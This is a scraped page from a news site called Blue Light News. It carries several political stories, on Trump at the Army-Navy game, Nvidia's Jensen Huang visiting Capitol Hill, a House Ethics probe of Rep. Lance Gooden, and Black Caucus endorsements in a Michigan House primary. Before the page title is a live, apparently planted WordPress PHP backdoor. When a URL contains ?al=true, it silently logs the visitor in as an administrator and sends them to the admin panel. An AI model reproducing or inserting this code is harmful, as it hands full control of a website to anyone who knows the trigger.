// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Trump calls the plays at the Army-Navy game – Blue Light News
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Trump calls the plays at the Army-Navy game

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2 years ago

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The sidelines at Saturday’s Army-Navy match-up might just be more compelling than the game.

Donald Trump is back. The president-elect will partake in the nation’s storied rivalry between West Point and Annapolis, saluting U.S. troops as he enters the White House again. But Saturday’s game will focus just as much on political intrigue as football and tradition — and for Trump, it won’t be the first time.

Pete Hegseth, Trump’s pick for Defense secretary and a former Army major, will attend. But so will Florida Gov. Ron DeSantis, a former Navy lawyer who will join Trump at the game following reports DeSantis was, at least briefly, under consideration toreplace Hegseth.

It’s a true Army-Navy match-up.

This will mark Trump’s fifth appearance at the game, having previously attended as president-elect in 2016 and as president in 2018, 2019, and 2020.

Trump and DeSantis, who battled each other in a fierce GOP primary rivalry, have since reconciled. The Florida governor supported Trump during the general election.

Now Trump is reportedly urging DeSantis to appoint his daughter-in-law, Lara Trump, to fill Marco Rubio’s Senate seat if the Florida senator is confirmed as secretary of State. Their appearance together Saturday will fuel questions about the alliance and whether the role of the Defense secretary is part of the bargain.

Trump first blended military camaraderie with political strategy under the bright lights in 2016. He spent the first half of the game in the box of David Urban, a West Point graduate and Republican adviser, and the second half with retired Marine Lt. Col. Oliver North, a graduate of Annapolis.

Urban, a Pennsylvania power broker dubbed part of the “West Point Mafia,” played a pivotal role in securing nominations for figures such as Mark Esper for Defense secretary, Mike Pompeo for secretary of State and Kenneth Braithwaite for Navy secretary. Esper and another major defense official spotted in Trump’s box that year, Gen. Mark Milley, have since had high-profile breaks with him.

Trump has a history of making news at the match. He used a tweet in 2018 to announce that Milley, who was then the Army chief of staff, would replace Joint Chiefs Chair Gen. Joseph Dunford — who still had nearly 10 months left in his term.

Then-Navy Secretary Richard Spencer also told Trump at the game that he should get fired if he couldn’t fix problems building the USS Gerald Ford. He was later fired.

And the following year in the locker room, Trump announced a controversial policy change that allowed military academy athletes with professional potential to play pro sports after graduation and defer their active-duty service.

It’s a reminder that in Trump’s game, just like in football, today’s teammate might be tomorrow’s opponent.

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Congress

Nvidia’s Huang heads to Capitol Hill for AI talks

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July 27, 2026

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Nvidia CEO Jensen Huang will meet with lawmakers in Washington to discuss American leadership on artificial intelligence, the company said Monday.

A spokesperson for the chipmaker said Huang would hold talks with both Republicans and Democrats on Capitol Hill to talk about latest developments with the technology.

“Jensen is in DC to meet with leaders on both sides of the aisle to discuss American leadership in AI, including leading in open source,” the spokesperson said.

Huang is scheduled to sit down Tuesday with Sen. Mark Warner, the top Democrat on the Senate Intelligence Committee who has expressed serious concern about security threats following last week’s OpenAI autonomous cyberattack.

The senator’s office confirmed the meeting. Senate Intelligence Chair Tom Cotton (R-Ark.) did not immediately respond to a request for comment.

It comes as Huang defended open-source AI on X, writing that such models “strengthen safety and cybersecurity, accelerate innovation and diffusion, and enable sovereignty.”

Huang’s visit comes as OpenAI CEO Sam Altman is also expected to meet with Warner, although a spokesperson for the senator said the talks were separate. Earlier Monday, Open AI announced it was in talks with Nvidia, a technology company that makes chips to use artificial intelligence, for a data center project.

The White House did not immediately respond to a request for comment.

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Texas Republican is under House Ethics investigation

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July 27, 2026

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The House Ethics Committee said in a statement Monday it is investigating Rep. Lance Gooden, a four-term Texas Republican.

It’s unclear what the committee is probing, but the Office of Congressional Conduct, an independent investigative branch of the House, sent over findings regarding Gooden to the committee June 10.

The Ethics panel plans to release an update on its investigation by Nov. 9. Committee representatives declined to comment beyond the statement.

In 2021, the Campaign Legal Center filed a complaint asking for an investigation into Gooden’s apparent failure to report his stock trades in a timely manner, which is a requirement under a federal law known as the STOCK Act. The complaint was sent to the OCC.

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Congressional Black Caucus members break with Jeffries, endorse against Thanedar in Michigan House race

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July 27, 2026

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A handful of members of the Congressional Black Caucus on Monday broke with Democratic Party leadership to endorse Michigan state Rep. Donavan McKinney in his bid to primary Rep. Shri Thanedar, an unusual move given that sitting members of the same party rarely endorse against each other.

Democratic Reps. Steven Horsford (Nev.), the former chair of the CBC, and Lateefah Simon (Calif.) called McKinney a “fighter.” Rep. Ilhan Omar (Mich.) praised McKinney as “the only trusted candidate” in the race. And Rep. Ayanna Pressley (Mass.) touted McKinney for “never [losing] sight of the people.”

“We need Donavan in Congress,” said Pressley.

The race between McKinney and Thanedar, who was elected in 2022, is the latest battleground in the ongoing ideological clash between the Democratic establishment and its progressive flank.

McKinney is hoping to capitalize on the latest wave of progressive successes in primaries, but Thanedar retains the power of the incumbency — and the backing of House Democratic leaders Hakeem Jeffries, Katherine Clark and Pete Aguilar.

Thanedar’s 2022 election marked the first time since 1955 that the majority-Black city of Detroit didn’t have a Black lawmaker representing it in Congress. And he won two years ago only after Adam Hollier, who was viewed as his most credible primary challenger, was disqualified from the ballot.

“It’s not just about having Black representation, but that is a part of what appropriate representation looks for,” Rep. Summer Lee (D-Pa.), who had previously backed McKinney, told Blue Light News. “You have a majority-Black district, and I think that there is certainly an appetite to see that again, or to at least make sure that a Black candidate has the opportunity to present themselves.”

In a phone call, Thanedar emphasized that he has worked closely with members of the CBC during his time in office, noting that the late Rep. Sheila Jackson Lee (D-Texas) was a mentor of his and, in addition to Jeffries, he has the endorsement CBC members like Rep. Bennie Thomspon (D-Miss.).

“I am fully aware that I am representing the Blackest city in America and I’m proud of it,” Thanedar, who is Indian-American, said. “My story is like Detroit’s story — I struggled through poverty, never say die, never gave up and I have that resilience that Detroit has. The resilience of Detroit is what my life is about.”

McKinney on Monday said he was “honored” by the endorsements.

“Millions of lives across the country have been made immeasurably better because of the hard work these members have done in Congress, and I look forward to working alongside these incredible leaders to pass critical legislation to protect voting rights, get big money out of our politics, and ensure all families have access to the resources they need to not just survive, but to truly thrive,” he said in a statement.

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